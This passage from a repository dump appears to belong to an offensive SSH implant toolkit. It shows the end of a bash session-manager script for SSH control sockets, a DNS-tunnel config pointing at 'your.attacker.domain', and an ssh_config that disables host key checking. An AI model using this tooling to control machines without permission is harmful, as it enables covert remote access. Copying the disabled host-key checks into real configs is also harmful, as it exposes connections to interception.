$sshim_socks/$sockname\n    echo \"Session $sockname has been created\"\n    exit\nfi\n\n\nif [[ \"--get-name\" = $1 ]];\nthen\n    if [[ -z $2 || ! -S $sshim_socks/$2 ]];\n    then\n\techo \"Please provide a valid session name...\"\n\texit\n    fi\n    echo Session $2 :\n    ssh -S $sshim_socks/$2 _ ${@:3}\n    exit\nfi\n\nif [[ \"--get\" = $1 ]];\nthen\n    if [[ -z $2 ]];\n    then\n\techo \"Please provide a valid session id...\"\n\texit\n    fi\n    res=$($sshim_dir/bin/active_chan g $2)\n    if [[ -z $res ]];\n    then\n\techo \"Invalid Id\"\n\texit\n    fi\n    \n    echo Session $res :\n    ssh -S $sshim_socks/$res _ ${@:3}\n    exit\nfi\n\n\n\n\n\n\nif [[ \"--kill\" = $1 ]]\nthen\n    if [[ ! -z $2 && -S $sshim_socks/$2 ]];\n    then\n\tssh -F $sshim_conf -S $sshim_socks/$2 -O exit _\n\texit\n    fi\n\n    res=$($sshim_dir/bin/active_chan g $2)\n    if [[ ! -z $res ]];\n    then\n\tssh -F $sshim_conf -S $sshim_socks/$res -O exit _\n    fi\n    exit\nfi\n\nif [[ \"--rename\" = $1 ]]\nthen\n    if [[ ! -z $2 && -S $sshim_socks/$2 ]];\n    then\n\techo \"Print enter new name for $2\"\n\tread name\n\tmv $sshim_socks/$2 $sshim_socks/$name\n\texit\n    fi\n\n    res=$($sshim_dir/bin/active_chan g $2)\n    if [[ ! -z $res ]];\n    then\n\techo \"Print enter new name for $res\"\n\tread name\n\tmv $sshim_socks/$res $sshim_socks/$name    \n    fi\n    exit\nfi\n\n\nres=$($sshim_dir/bin/active_chan | fzf)\nif [[ ! -S $sshim_socks/$res ]];\nthen\n    exit\nfi\n\n\nssh -F $sshim_conf -S $sshim_socks/$res $res ${@:3}\n\n\n"
  },
  {
    "path": "utils/client/config/dnsconf.txt",
    "content": "listen = 0.0.0.0\nport = 53\nkey = sshimpanzee\ndomain = your.attacker.domain\nresources = sshimpanzee:127.0.0.1:8080\n"
  },
  {
    "path": "utils/client/config/ssh_config",
    "content": "Host *\n     StrictHostKeyChecking no\n     UserKnownHostsFile /dev/null\n     ControlMaster auto\n     ControlPersist yes\n     User _\n     \n\n\n"
  }
]